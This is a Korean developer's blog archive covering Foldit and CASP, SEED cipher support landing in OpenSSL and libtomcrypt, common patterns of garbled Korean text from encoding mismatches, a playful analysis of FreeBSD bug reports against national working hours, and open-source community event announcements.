-ㅇ-; 그 결과 지금 fold.it에 슬슬 CASP문제가 나오기 시작했고, 올해 CASP 문제를 게임에서 수만명 플레이어가 여러가지를 아직 알고리즘으로 나오지도 않은 여러 직관을 써서 풀어놓으면 거기서 나온 구조로 CASP 답안으로 제출한다고 합니다. 물론 컴퓨터로 찾는 것 보다 완전 샅샅히 뒤지는 것은 안 되겠지만, 그래도 사람의 직관이 수만명이 모이면 그 힘이 어떻게 될 지는 상상도 안 가네요. 아마도 상당히 상위권에 들어갈 수 있지 않을까 싶습니다.

실제로 게임 안에 나오는 구조는 진짜 단백질 구조인가?

많은 분들이 물어보셔서 덧붙이자면, 게임 안에서 쓰이는 용어는 모두 실제 생물학에서 사용하는 용어이고, 구조에 큰 영향을 주는 요소들은 상당 부분이 게임 안에서 자세히 표현되어 있습니다.

앞으로 이런 게임이 어떤 것이?

직관으로 풀면 훨씬 간단한 NP-hard 문제들을 재미있는 퍼즐로만 만들 수 있다면 이렇게 잘 표현한 게임으로 만드는게 수천개 CPU 동원한 클러스터보다 효율적일 수도 있을 것 같습니다. 단백질 구조 외에도 계통 분류 최적화나 RNA 구조, 단백질-단백질/라이간드 도킹 예측/디자인, 단백질 유도 진화 등 재미있는 게 많이 있을 것 같은데 게임으로 과연 만들 수 있을지는 모르겠네요. ㅎㅎ;

예전에 블로그에서 알려드린 적 있는 생활 속의 프로그래밍 동영상이 얼마 전에 올라왔습니다. 이미 보신 분도 계시겠지만, 기록의 의미로 여기도 하나 링크해 둡니다. :)

생활 속의 프로그래밍은 프로그래밍으로 먹고 사는 분들이 일상 생활에서 프로그래밍을 활용해서 재미도 있고 편하기도 하고 배울 것도 있는 여러 놀이를 떠올리는 계기가 되게 제가 그동안 오픈룩에서 썼던 여러 사례들을 소개해 드리는 세션이었습니다. 오픈마루 WoC 스노우캠프와 NHN 네이버토크에서 따로 2번 진행했었는데, 둘 다 비디오 촬영은 되었지만 오픈마루 WoC 것은 아직 공개되지 않았고, NHN 것이 얼마 전에 공개되었습니다.

화면이 잘 안 보이는 편이니, 발표자료를 따로 받아서 보시면 잘 보일 것 같습니다~

• 생활 속의 프로그래밍 (WoC 스노우 캠프)
• 생활 속의 프로그래밍 (NHN Talk)

사실 제가 말이 좀 느리고 중언부언하는 경향이 있어서 3배속으로 보면 딱 맞을 것 같긴 한데, 아쉽게도 속도 조절은 못 하는군요 -ㅇ-;

어제 스퀵 캠프에서 카즈히로 아베 (阿部 和広)씨를 만났는데, 보여주신 OLPC에 파이썬이 있다길래, 확인해 보니까 코덱도 빠지지 않고 소스로 다 들어가 있군요. 이히히. 반가워서 사진 한 장!

ps. 창준형, 승범이, 나부군님, 이지님, 테라님, 표님 모두 반가웠어요!

엊그제 올렸던 WoC snow camp 얘기는 행사를 주최하는 곳에서 WoC참가 학생을 위한 행사라 장소가 좁아서 일반인은 참가할 수 없다고 알려왔습니다.

제가 미처 확인을 못 하고 알려드려서 죄송하네요~ "생활 속의 프로그래밍" 주제는 앞으로 많은 분들이 참여하실 수 있는 좋은 행사에서 준비가 되면 그 때 다시 알려드리겠습니다. :)

이번 주 토요일(23일) 도곡동 IBM본사에서 WoC snow camp가 있습니다. 저는 "생활 속의 프로그래밍"을 주제로 발표할 예정인데, 아직 구체적인 시간은 결정되지 않은 것 같네요.

이번에는 일상생활 속에서 작은 프로그램들을 활용해서 재미나게 프로그래밍도 즐기고~ 삶도 재미있게 사는 방법을 여러 예를 통해서 보여드릴 예정입니다. 예제는 물론 뭐 긴급하게 새로 다 만들 수 없으니 제 블로그에 지난 몇 년간 올라왔던 글들이 재활용될 예정입니다;; 1시간 안에 제 블로그 전체(?)를 읽으시는 효과를 보실 수 있을지도! -ㅇ-; (뻥을 쳐 본다;)

발표자료는 발표 후에 공개하겠습니다. (참고로 저는 발표자료에는 중요한 내용은 안 적는 경향이 있으니 발표자료만 봐서는 알아보실 수 없을 수도 있습니다. =3)

글도 별로 없는 블로그에 광고를 해서 무척 죄송합니다. -ㅇ-; 그래도 곧 번개 소식이 약간 가미되어 있으니 정보가 되지 않을까 하고 예쁘게 봐 주세요. :)

이번 주에 여름 기념으로 오랜만에 파이썬 마을 번개를 한번 할까합니다. 그냥 번개만 하면 썰렁하니까 Python 3000에 대한 얘기를 조금 하다가 밥먹고 뒷이야기를 하는 자리를 만들려고하는데, 우선 조용하게 모여서 얘기할 곳이 필요해서, 토즈 같은 모임 전용 공간을 쓸 수도 있겠지만 참가비를 안 받고도 할 수 있으려면 혹시 파이썬 마을 회원 분들 중에서 회사나 학교에서 공간을 빌릴 수 있는 분이 있으시다면 그 편이 편할 것 같아서 우선 공개적으로 한번 구해 봅니다.

공간은 20명 내외가 원형또는 사각형으로 모여서 얘기할 수 있는 곳이면 좋구요. 프로젝터를 사용할 수 있어야 합니다. 물론 많은 분들이 쉽게 모일 수 있어야 하기 때문에 되도록 서울에서 교통이 편리한 곳이면 좋겠습니다. 시간은 금요일 저녁이나 토요일 오후로 생각하고 있습니다.

참가신청은 장소에 따라서 시간이 정해진 후에 따로 파이썬 마을에서 받을 예정이니 우선은 장소 대여가 가능한 분 있으시면 알려주세요 ^^;

그동안 많은 분의 노력으로 드디어 OpenSSL에 SEED지원이 들어갔습니다! 와와~ 이제 모질라, 애플웹킷 등 OpenSSL에 지원이 없어서 못 한다고 기다리고 있던 수많은 프로그램들이 SEED를 지원할 수 있겠군요~

이번 패치는 전에 제가 올렸던 OpenSSL 패치가 들어간 것은 아니고, KISA에서 따로 작업한 패치를 KISA의 지원으로 OpenSSL 개발자가 수정한 것이 적용되었습니다. 사실 소스를 보시게 되면 KISA의 작업 과정 중에서 보통의 오픈소스 프로젝트의 관례에서는 어긋나는 이른바 "이름 지우고 소스 베껴오기"가 많이 적용된 흔적은 자명히 존재하긴 하지만, 그래도 제가 원래 올린 패치가 public domain으로 올렸던 것이기에 이름 지우기가 저작권 위반은 아니라는 것을 미리 알려 둡니다. :)

그렇지만 한편으로는 정부기관에서 오픈소스에서의 호환성 지원을 위해 오픈소스 프로젝트에 직접 노력하여 커밋을 재촉하고 실제 적용까지 유도한 사례가 나왔다는 측면에서 굉장히 고무되는 사건임에는 틀림이 없습니다~ :)

오늘 IRC에서 얘기하다가 생각나서 예전부터 있었던 정겨운 깨진 한글들 패턴 몇개를 모아서 소개해 봅니다. :)

占쏙옙占쏙옙!

주로 맥이나 emacs, gnome-terminal등등 유니코드 처리를 하긴 하는데, 설정을 뭔가 잘못했거나 제대로 못 처리한 경우에 자주 발생하는 놈입니다. 구글에서 검색하면 무려 1450000건이나 나옵니다. -ㅇ-; 가히 깨진 한글 중 최고봉..

이 녀석의 의미는 U+FFFD U+FFFD를 utf-8로 인코딩한 것을 euc-kr로 푼 것입니다. 디코드하는 녀석은 euc-kr을 바라고 있고, 인코딩하는 녀석은 뭔가 안에서 단단히 꼬인 경우죠. U+FFFD는 REPLACEMENT CHARACTER이라고, 뭔가 잘못되면 이걸로 글자 수를 유지하기 위해서 바꾸는 경우가 있습니다. 이 경우 대부분 보내는 놈이 잘못했다고 눈치를 챌 수 있습니다.

홰聆究셀

옛날에 PC통신 하시던 분들은 자주 보셨을 것 같은데, 이것도 지금 구글에서 검색하면 29900건이 나오는 상당히 인기깨진한글 입니다. 홰영구셀은 점쏙옙과는 달리 좌우로 물음표나 좀 불길한 표시가 곁들여진다는 특징이 있죠. :)

이 놈의 정체는 바로 euc-kr에서 "안녕하세요"에서 첫 바이트를 떼낸 것입니다. 안녕하세요는 문자열이나 각 줄의 맨 앞에 자주 와서 앞 글자가 잘리는 경우가 유독 많죠~

컴컴컴컴컴컴넴

요새는 컴컴컴컴컴이 나오면 좀 어색하겠지만, 옛날에는 동네 꼬마아이들도 컴컴컴컴을 보면 이게 바로 그거구나! 하고 정겨워할 정도였었죠~ 컴컴컴컴컴에는 옆에 넴이나 백백백, 낡낡이 곁들여 줘야 좀 더 맛이 납니다. 이 놈의 정체는 미국 영어 코드페이지인 cp437에서 좌우로 긋는 선문자입니다. 아직도 와레즈 그룹들은 cp437을 자주 쓰는 관계로 .nfo 파일들에서 컴컴컴컴을 만날 수 있어서 나름대로(?) 반갑습니다;;

이 녀석은 구글에서 검색이 되긴 하는데, 길이에 따라 따로 따로 인덱스되어 있어서 전체적인 수는 정확히 모르겠지만 대략 5000은 될 것 같네요.

덈뀗섏꽭 쩗꿇뀘

요놈은 고정적인 내용을 가지는 것은 아니고 대충 "띠리띠리"가 새끼손가락 콧구멍에 넣고 외계와 통신할 때 내는 소리로 깨지는 형태입니다. 이것도 어설픈 유니코드 프로그램에서 상당히 자주 볼 수 있죠. 이 놈의 정체는 utf-8 인코딩된 것을 cp949로 푼 것입니다. 주로 겹자음과 희한한 받침들이 오는데, 그 이유는 utf-8에서 쓰는 영역이 주로 두 번째 바이트에 0x81~0x9f를 많이 써서, 그 영역이 cp949에서 euc-kr에 추가로 배치한 자주 안 쓰이는 한글 영역과 겹치기 때문입니다.

)C>H3gGO

이것도 고정적인 내용은 아니고 그냥 형태입니다. 주로 대문자, 소문자, 기호 몇가지가 나오고 중간 중간 음표도 곁들여 주며 나오는 이 모양은 8비트를 모두 지원하지 않는 환경에서 EUC-KR에서의 상위 비트가 모두 날아간 놈입니다. 최근에는 볼 일이 거의 없지만, 예전에는 한국IBM같이 도미노 솔루션을 쓰던 곳에서 보낸 메일이 이런식으로 안 보이게 보여서 난감한 경우가 있었죠. 그리고, ISO-2022-KR로 인코드하고 나서 제어문자 필터링에 걸려서 제어문자가 유실되는 경우도 이렇게 됩니다.

¾È³çÇϼ¼¿ä~

아마도 가장 흔하게 많이 볼 수 있는 형태가 아닌가 싶네요~ 요건 EUC-KR을 ISO-8859로 보고 디코딩했을 때 발생하는 형태입니다. 즉, 한글 1글자가 EUC-KR에서 높은 2 바이트가 되기 때문에, ISO-8859에서의 추가 문자에 해당하는 것들이 2개씩 나오게 됩니다. 요건 그래도 ISO-8859-1이 256개 모두 할당되어 있어서 정보의 손실은 없어서 복구는 가능하기 때문에, 다른 것들에 비해서 그래도 준수한 편이라고 할 수 있겠죠. :)

켓아~

요놈은 대부분의 글자가 보이지만 일부가 고정적으로 다른 글자로 대체되는 형태입니다. 대표적으로 "횽아" -> "켓아"와 "아햏햏" -> "아쥑쥑" 이 있죠. 둘다 구글에서 검색해 보면 용례가 그렇게 많지는 않지만, 의외로 유닉스 프로그램들에서는 상당히 자주 겪는 패턴입니다. 이 경우는 인코딩이 euc-kr이라고 가정하고, 두 번째 바이트 글자의 하위 7비트만 보고 디코딩해서 생기는 문제입니다. cp949의 경우에는 두 번째 바이트에 MSB가 없는 경우가 있기 때문에, 구분해 줘야 글자를 제대로 판단할 수 있겠죠.

우선 생각나는 것은 써 봤는데, 그 외에 자주 봤던 깨진 한글 있으시면 알려주시면 추가하겠습니다. ^_^

애자일 이야기에 올라온 7월까지만 일한다면?이란 글을 읽다가, 인용한 그림을 보고 흠칫 놀랐습니다. 어디선가 많이 본 패턴이 보이는데, 으흠~~ 일을 적게하는 나라들에 유독 FreeBSD에서 굉장히 활동이 많은 국가들이 집중되어 있던 것입니다! 그래, 일을 적게 시켜야 뭘 하든 할 것이 아닌가 싶어서 과연 근무시간과 오픈소스 활동과의 상관 관계에 대해 조사를 해 봤습니다. 뭘 조사하느냐를 결정해야 하는데, 메일링리스트를 보는 것도 좋겠지만, 메일링 리스트는 언어의 제약이 굉장히 많이 작용할 것 같아서 FreeBSD의 PR 데이터베이스를 쓰기로 했습니다. 아무래도, 그냥 패치만 보내도 되고 비교적 짧게 적어도 되니까 꼭 올릴 사람들을 올릴 것 같아서~ :)

그래서, 모든 PR 자료를 cvsup으로 받은 다음에 로컬에서 간단하게 뒤져서 분석했습니다. 너무 오래된 자료들은 빼기 위해서 #40000이후만 넣었는데, 40000번이 올라온 것이 대략 2002년 6월 정도 됩니다. 그 이후에 올라온 69374개의 PR 중에서 Received헤더와 From헤더를 토대로 보낸 사람이 사는 국가를 추정했는데, 미국은 FreeBSD 서버들이 미국에 있어서 IP구별이 힘들어서 통계에서 제외하였고, 영국도 알 수 없는 이유로 GeoIP로 검출되지 않았습니다. 결국 남은 것은 총 100개 국가에서 모두 46304개의 PR이 나왔고, 얘네들을 대상으로 분석하기로 했습니다. (사용한 스크립트)

FreeBSD PR수와 근로시간

우선, 대충 생각해 봐도 인구와 활동양은 비례하는 관계가 어느 정도 있을 것이기 때문에, 활동량을 국가의 인구(위키백과에 올라가 있는 최근 자료를 사용)로 나눈 것과 작업량의 상관 관계를 계산했더니 -0.54가 나왔습니다. 아주 높은 것은 아니지만, 그래도 적당히 상관관계가 있다는 것을 암시하는 것 같은 느낌이 오네요~ (위 그래프에서 대충 경향이 약간 있는 것 같죠? 'ㅇ')

그 외에도 생각해 보면, 먹고 살기 힘들면 오픈소스 하기가 힘들테니, GDP하고도 어느 정도 관련있지 않을까 해서 계산해 보니까 0.52가 나오네요. 그래서, 한 번 얘네들을 묶어서 예측할 수 있도록 식을 만들어 봤습니다. 우선은 대충 기분으로 이렇게~

Pr=FreeBSD PR수, W=근로시간, G=GDP, Pop=인구

선형 최소자승법을 쓸 수 있게 약간 풀고 넘기고 하면,

Pr=FreeBSD PR수, W=근로시간, G=GDP, Pop=인구

그래서, 이놈을 스크립트를 짜서 분석해 보면, 각각의 계수가 k1=-1.51, k2=14.7, k3=3135.7, k4=-30172.4 정도 나옵니다. (사용한 스크립트) log G가 보통 10내외 인 것을 감안하면, W는 -로 100내외 정도 영향을 미치고, log(GDP)는 상당히 많은 영향을 미쳤군요. 흐흐 역시 샘플이 적어서 식이 좀 이상합니다. -ㅇ-; =3=3

인구1000만명당 FreeBSD PR수와시간의 관계, (붉은색은 예측 기대값)

그래도 대충 그래프 보면 뭔가 보이긴 하죠? ;; 빨간색은 위에서 근사식으로 만든 것을 다시 적용한 값인데, 마음대로 이름을 OBFI라고 붙여봅니다. -O-; 대충 1000만명당 PR 개수 순으로 정렬했을 때, 일하는 시간은 증가하는 경향을 보이고 OBFI는 감소하는 경향이 나타납니다. (상관계수는 0.618)

대충 빨간색보다 파란색이 위에 있는 나라는 환경에 비해 오픈소스 (여기서는 FreeBSD) 활동이 많고, 반대의 경우에는 환경에 비해 활동이 적다고 볼 수 있겠습니다. 일본이나 독일이 오픈소스에서 그렇게 활동을 많이 하는 것 처럼 보여도, 그래프에서는 별로 튀어 나오지 않는 것이 사실은 인구빨인 게 들통났군요~ 그리고, FreeBSD가 유난히 강세인 덴마크와 네덜란드가 역시 예측된 값과 엄청난 차이를 보여주고, 한국과 멕시코는 역시 약세입니다. 그런데, PR을 대상으로 해서 그런지, 아니면 주로 유럽이 대상이라 그런지 생각보다 언어는 그다지 문제가 안 되는 것 같네요. 영어를 주로 쓰는 호주나 뉴질랜드라고 다른 국가들에 비해 특별이 더 튀거나 그런 경향은 없는 것 같습니다. 러시아나 중국이 끼였으면 좀 더 분석이 좋았을텐데 OECD자료이다 보니, 없는게 아쉽네요.

일을 많이 시켜서 오픈소스 못하는 우리나라~

인구 순으로 하면 우리나라도 OECD에서 상당히 높은데, 앞으로 S모기업이나 L모기업 같은 곳을 비롯하여 사회 전반적으로 사원들이 젊은 시절에도 좀 여유롭고 즐겁고 발전하는 삶을 살게 근로시간을 줄여주면 오픈소스 뿐만 아니라, 인문학도 살고, 좋아지지 않을까 생각해 봅니다. 회사일 말고도 재미있는 것이 얼마나 많은데~

소수의 자료만 갖고 작업한 것이라 통계적으로 그다지 정확한 편은 아니지만 너그럽게 글자만 읽은 셈치고 잊어 주세요 =3=3 흐흐

Brett의 소개글에서 ohloh에 대한 얘기는 처음 들었는데, 오픈소스 프로젝트에 관한 무지 재미있는 사이트를 발견했군요. +_+

예전에 FishEye 같은 프로젝트 소스 변화를 추적해 주는 곳이나, Coverity같은 소스 품질을 검사해주는 곳은 봤었는데, 여기는 골고루 짬뽕인데다가 디자인도 예쁘고 아주 호감이 갑니다. 으흣. (물론 Coverity처럼 무결성을 검사하는 것은 아닙니다.)

파이썬에 대한 페이지에 가 보면, 주석의 양이나, 코드 크기에서 추산한 유지보수 비용과 소프트웨어의 자산가치, 라이선스의 특성과 잠재적 문제점 같은 것도 알려주고, 코드의 변화에 대해서도 시각적으로 아주 예쁘게 보여주네요~

뉴스를 수집해서 보여주는 것은 BerliOS에서도 했던 것과 비슷한 것 같은데, 그래도 요새는 RSS가 많이 쓰여서 손은 좀 덜 가긴 하겠네요. CIA처럼 개발자별로 따로 통계를 내 주는 기능도 있는데, 이것도 CIA보다 예쁘게 나오는 것이.. 흐흐 아주 마음에 듭니다. 요새 몇달동안 전혀 커밋 안 한 게 들통나서 얼른 밀린 버그 목록을 좀 봐야겠습니다. --; -ㅇ- (저는 cjkcodecs의 무식한 데이터 양 덕분에 변경한 라인 수로는 6위 -.-v =3=3)

예전에 한 번 넣으려고 했다가 중간고사가 임박해서 그만뒀었는데, 오랜만에 libtomcrypt를 받아서 보니 드디어 RFC4269 SEED 지원이 들어갔습니다! 기말고사도 끝난 기념으로 재미 좀 보려고 했더니 이런 할 일이 없어서 아쉽게 되었네요; libtomcrypt메인테이너인 Tom이 직접 구현해서 넣은 것 같네요

libtomcrypt는 작고 가벼운 구현 특성으로 인해 특히 엠베디드 환경에서 많이 사용되고 있는데, 이제 VPN기계들이나 공유기 같은 곳에서도 쉽게 SEED를 채용할 수 있게 되어서 잘 되었네요~ ^_^ 이로써 이제 오픈소스 툴킷 중 SEED를 지원하는 것은 GNU libgcrypt (GPL), Botan (BSD), libtomcrypt (public domain) 세 가지가 되었습니다. 이제 이번 방학 때 FreeBSD와 Linux 커널에도 시간 날 때 한 번 밀어 넣도록 노력해 보겠습니다. ^_^

어제 "오픈소스에 뛰어들기"를 했습니다. 아침부터 저녁까지 계속 뛰어다니면서 후다닥 했더니 피곤해서 거의 10시간을 잤군요;; 행사 준비에 많은 도움을 주신 여러 강사, 자봉 분들과 추운 날씨에도 오셔서 능동적으로 참여해 주신 참가자 분들께 깊은 감사 드립니다. ^^

이번 행사를 하면서 느꼈던 점과 설문에 적어주신 내용을 토대로 몇 가지 더 좋은 행사를 위한 개선 사항을 기록해 둡니다.

• 약도와 익숙한 사람만 알아볼 수 있는 오는 길 때문에, 대부분 장소에 찾아오기가 너무 힘들었다 -> 다음엔 사진을 포함한 상세한 오는 길 표시를 해야겠습니다. +_+
• 시간이 너무 모자란다. - 각 세션이 대부분 실습 수업이라 초기에 세팅하는 데 드는 시간 때문에, 대부분 시간이 모자라서 문제가 많았던 것 같습니다. 실습의 경우에 세팅에 드는 시간을 예측하거나, 조교를 대량으로 투입하던지 좀 더 쉽게 설치할 수 있는 환경을 마련해야겠네요.
• 실습 환경 준비를 위한 노트북 세팅이 아슬아슬.. - 노트북에 무선랜도 안 잡히는 부여리눅스가 깔려있어서 다들 그걸 우분투로 엎느라고 힘들었는데, 우분투 씨디를 충분히 준비해서 세팅 시간을 절약해야겠습니다. -o-
• 선입금 덕분에 날씨에 크게 참가자 수가 영향을 받지 않았다 - 아무래도 추운 날씨에도 참여할 의지가 있는 분들을 선별하기 위한 첫번째 필터로 작용할 수 있지 않았을까 싶습니다. 바로 전날 있었던 다른 행사에서 2/3가 불참했다는 얘기를 들으니, 이번에 선입금이 효과가 있었던 것 같네요.
• 학생에 대한 좀 더 적극적인 홍보가 필요하다 - 의외로 소식을 들은 곳을 묻는 질문에, 학교 홈페이지라고 대답한 사람이 많았고, KLDP도 모른다는 사람도 제법 있었습니다. 홍보 채널을 다양화하는 것이 새로운 사람들을 커뮤니티로 끌어들이는 결과를 얻을 수 있을 듯.

행사의 달인 조성재님이 없었으면 이번 행사 준비가 상당히 힘들었을텐데, 정말 감사드립니다. 다음 행사도 잘 부탁해요 -ㅇ-; 다음에도 컨텐트가 준비되면 한 번 또~ :)

그리고, 이번 행사에서 나온 참가비는 예정대로 플랜 한국위원회에 기부해서 세계의 기아들을 돕는데 쓸 예정이고, 아마도 52만원인가 됐던 걸로 기억합니다. (나머지는 행사 비용으로 사용) 기부자 이름은 참가자 모두의 이름을 쓸 수 없으니 일단 sha1 해시 16진법으로 표기한 이름으로 써달라고 해 볼 예정인데, 안 되면 그냥 행사 이름으로 ^^;

CN님께서 끝날 무렵에, 좋은 제안을 하나 하셨는데, 학생들을 위해서 모든 오픈소스 관련 행사에 대한 안내를 해 주는 RSS/모듬 사이트를 하나 운영하면 좋지 않겠느냐고 제안을 하셨습니다. 아무래도 지금은 홍보를 하려면 오픈소스 사이트 들에도 일일이 다 돌아다니면서 해야 하는 형편이니, 그런 사이트가 마련되면 많은 분들이 쉽게 보실 수 있을 것 같아서 좋겠네요.

이제 이번 겨울에는 가능하다면 RuPy 도 한 번 하고, Framework2.2도 한 번 하고 골고루 해보려고 하는데, 잘 됐으면 좋겠습니다. ^_^

추운 날씨에 많은 분들이 뜨거운 열기로 참여해 주셔서 무척 고맙습니다. 오픈소스에 뛰어들기 후기는 이 글에 달아주세요~ 트랙백 또는 답글 모두 가능합니다.

예전부터 준비해 왔던, 오픈소스에 뛰어들기 참가신청을 받기 시작하였습니다. 이번에 Django로 참가신청 프로그램을 만들었는데, 다음에 두고두고 써먹어야겠군요. 소스 정리되는대로 svn에 올리겠습니다. 흐흐 ^.^

주위 학생들과 새로 오픈소스에 뛰어들려는 분들에게 많은 홍보 부탁드려요~

우흐흐. 한 동안 글을 올리지 않았는데, 한 번 안 올리기 시작하니까 완전 관성이 붙어가지고 쓸 거리는 산더미인데 계속 안 쓰게 되네요. 역시 세상은 양의 피드백으로 가득찬... ^_^

오늘은 1달 전 쯤에 얘기했던 그 행사에 대한 준비 모임이 있었습니다. KLDP의 권순선님, 소프트웨어진흥원의 이재경님, 나비/libhangul 프로젝트의 최환진님, 데비안의 류창우님, 그놈의 차영호님, Y모사의 뽀빠이님(회사 몰래 오셨을까봐 닉네임으로 =3)이 모여서 좋은 행사를 위해 머리를 쥐어짜는 자리를 가졌습니다. :)

일단 목적은 오픈소스에 관심이 없거나 혼자 하기 외로워서 시작하지 않았던 학생들과 직장인들을 대상으로 오픈소스에 입문하면서 오픈소스 현장에서 많은 경험을 한 개발자들에게 직접 경험을 받으면서 기본적인 진입장벽을 넘겨주는 것을 기본으로 했습니다. 그래서, 가장 기초적인 것들과 관습, 분위기, 재미 같은 것들을 전해주는 자리가 될 것이구요. 단위는 10명 내외로 해서 밀착된 실습/강의가 될 수 있도록 할 것입니다.

일단 잠정적으로는 12월 3일 (일요일) 오후 1시~6시에 진행될 예정이구요. 장소는 연세대학교 경영대학 상남경영원에서 제공해 주기로 하였습니다. 참가자는 11월 말에 따로 모집 공지를 KLDP와 주요 커뮤니티에 할 예정이니 그 때 많이 신청해 주세요. ^^ 그리고, 이번에는 외국의 여러 여성 컴퓨터과학자/개발자 육성 정책들에 동조하는 의미로, 참가신청에 여성 참가자 우선 쿼타를 일정 부분 할당할 예정입니다. 또한 참가비는 유료이며 전액 자선단체에 기부하려고 합니다.

오픈마루 Winter of Code 2006에 관심이 있으신 학생 분들도 아마 오시면 준비운동도 하고 멘터도 찾아보고 하는 겸사겸사 좋은 기회가 될 것 같으니 특히 학교에 많은 홍보 부탁드립니다. ^^

혹시 좋은 아이디어가 생각나시거나, 내가 뭔가 가르쳐주고 싶다, 행사 진행을 돕고 싶다 등등 행사 기획에 참여하고 싶으신 분들은 메일링 리스트에 가입해 주세요~ 그리고 "어떤 어떤 것 배워 보고 싶다~" 생각이 나시면 답글로 달아 주시면, 관련 강사분들 섭외에 최대한 힘써 보겠습니다. -O-

얼마 전에 있었던 Framework2.1에서 촬영한 동영상이 올라왔습니다. 좋은 강의 다시 들을 수 있어서 다행입니다. ^^ 동영상 촬영과 인코딩에 힘써주신 강문식님께 감사드립니다. (_ _)

지난 9월 17일에 센트럴시티에서 있었던 KLDP 10주년 기념 컨퍼런스에서 발표한 자료를 올립니다. 요약 자료에 다 있어서 별 필요 없으실 것 같아서 안 올리고 있었는데, 김성안님의 요청에 따라서.. ^^;

다카하시 메쏘드 비슷하게 하기는 했지만, 한 페이지에 글자가 계속 겹쳐서 나오는 부분 때문에, 변종 중 하나구나 하고 파악해 주세요. -.-a

• 오픈소스 프로젝트에 참여하기 발표 자료 (PDF)
• 오픈소스 프로젝트에 참여하기 발표 자료 (Keynote 3)
• 유인물 (pdf)

얼마 전 KLDP 10주년 기념 행사에서 "오픈소스 프로젝트에 참여하기"라는 세션을 준비하면서, 말로만 하고 지나갔던 여러가지 것들을 대안언어축제에서처럼 시작을 딱 하고 끊어주는 그런 행사가 있으면 좋겠다고 생각이 들었습니다. 대안언어축제에서 많이 느꼈던 것이, 많은 개발자분들이 회사와 각자의 공간에서 떨어져 계시다가, 딱 공간에 모여서 불을 당기니까 막 팟팟~ 하고 터지면서 폭발적인 결과가 나오는 것을 보고 깜짝 놀랐는데요, 그 결과 요새 인터넷 검색하다 보면 부쩍 대안언어 이야기과 대안적인 개발 방법들에 대한 관심이 늘어나는 것이 역시 우리나라에 개발자가 적지는 않구나! 하는 느낌을 받았습니다.

즉, 혼자 공부하기에는 심심하고, 근처에 같이 하자는 사람도 없고, 뭘 해야할 지도 막막해서 그냥 모르고 있었던, 여러가지 오픈소스 참가에 사용되는 기술들을 같이 모여서 시작에 대한 팁을 듣고 같이 해 보면, 오픈소스 개발자가 늘어날 수 있는 토양이 조성되지 않을까 하는 생각이 듭니다. 그래서, 일단 Framework 2.1 처럼, 첫 행사는 조그맣게 4 세션 내외로 해서 간단하게 시작해봐야 겠다고 마음을 먹었습니다. 흐흐 ^^

일단은 다음과 같은 세션들을 생각해 봤습니다. (이 중에 몇 개만 추려서..)

• cvs + svn 이것만 알면 된다
• sourceforge/kldp.net 프로젝트 등록/릴리스/기본적인 운영
• gettext po 메시지 번역, 유지하기
• 버그 추적하기: printf에서 gdb까지
• TeX 문서 번역, 유지, 인쇄하기
• autoconf/automake 프로젝트 시작하기
• 개발과정의 자동화를 위한 스크립팅과 빌드봇, 테스트봇, 스냅샷
• 오픈소스 개발자들을 위한 영어 메일 쓰기 -O-

각 과정은 1시간 정도로 아주 짧게 100% 실습형으로 진행하면 좋을 것 같고요~ 각 세션은 되도록 두 분이 진행하셔서 페어 티칭이 되면 좋을 것 같네요. 미리 테스트를 할 수 있는 공간을 만드는 게 좀 시간이 들 것 같군요. 흐흐. 관심 있는 분들의 코멘트 많이 부탁드립니다. -o- 특히 gana쪼꼬렛님은 꼭 gettext를 맡아 주셔야 =3=3

대안언어축제 2006의 Io 튜토리얼 세션에서 진행했던 자료를 올립니다. 진행 도중에 발견 되었던 2가지 오류는 수정했습니다. ^^;

Io 문법 발견하기 자료

일상이 지루하고 새로운 언어를 한번 보고는 싶은데, 튜토리얼 보기는 따분하다 싶으실 때, 친구 6명 또는 3명을 모아서 한 번 해 보세요. -O-; 나름대로 미지의 문법이나 잘 모르는 소스를 볼 때 대처해야 하는 능력이 길러질 지도 모릅니다.;;

대안언어축제의 Io 튜토리얼 세션에서 진행해 본 결과로는, 참가자의 실력차이가 많이 날 때 서로 경험하는 것의 차이가 심해서 별로 좋지 않았던 것 같기도 합니다. 또한, 한 팀에 사람이 너무 많으면 좀 문제가 있는 것 같고요.. 진행 방법에 대해서는 첫 페이지에 요약해 두었습니다. 해 보신 분들은 소감을.. ^^;

지난 번에 잠깐 얘기를 꺼냈던 대로, 대안 웹프레임워크 연합 세미나(가칭)이 거의 윤곽이 잡히고 있습니다. 오늘은 NCsoft의 도움으로 장소가 마련되었고, 이제 곧 참가자를 받을 예정입니다.

이 행사에서는 빠른 프로토타이핑과 재활용 패턴을 강조하는 여러 웹 프레임워크를 다룰 예정입니다. 이번에는 처음인 만큼 다음 4가지 프레임워크가 참여합니다.

• django 튜토리얼: 인실리코젠의 김형용님, 이정민(falsetru)님
• TurboGears 튜토리얼: OSK의 이만용이사님
• Ruby on Rails 튜토리얼: 황대산님
• Seaside 튜토리얼: 멋쟁이 김승범군

음.. 저는 할 줄 아는 게 없어서 그냥 구경만.. =3=3 날짜는 9월 23일 (토) 오후 중에 4~5시간 정도 이뤄질 예정입니다. 형식은 일반적인 튜토리얼 형식은 아니고, 대안언어축제에 참가하신 분들이면 쉽게 적응하실 수 있는 굉장히 능동적인 참여가 필요한 방식으로 진행될 것입니다.

구체적인 것들이 좀 더 결정되면 다시 알려드리고 광고를 하도록 하겠습니다. ^^ 지금으로써는 아마도 파이썬마을과 한국루비사용자포럼에서 각각 15명, 스퀵사용자모임에서 10명 정도씩을 따로 모집하는 형식으로 할 것 같습니다.

이런 것이 궁금하다, 이렇게 하면 좋겠다 등등 의견 있으신 분들은 답글 올려주시고용 +_+ 혹시 행사 당일 진행에 도움 주실 분들도 알려주시면 고맙겠습니다~ ^^

오늘 CVS 메일링 리스트를 보고 있다가 발견했는데, security/php-suhosin 이라는 프로젝트가 있군요.. 이름이 반짝반짝해서.. 중국 사람이나 일본 사람이 만들었나? 하고 검색을 해 봤는데, 글쎄, 프로젝트 홈페이지에 붓글씨체로 "수호신"이라고!

개발자인 Stefan Esser는 독일 사람인 듯 한데, 한국과 무슨 인연이 있어서 프로그램 이름을 한국어로 따왔는지 무척 궁금합니다. 한국인 아이라도 입양한 것일까요? 아아 궁금하네 -ㅇ-;

KLDP 10주년 기념 컨퍼런스에서 발표할 "오픈소스 프로젝트에 참여하기"의 자료입니다. 책자에 그냥 적을 게 있으시면 적을 수 있게 개략적인 틀을 요약한 것인데, 실제 세션에서는 전에도 그랬듯 타카하시 메쏘드로 할 예정입니다. ^.^;

유인물 자료 보기

다음 주 일요일이니 관심 있으신 분들은 많이 참석해 주세요. ^_^

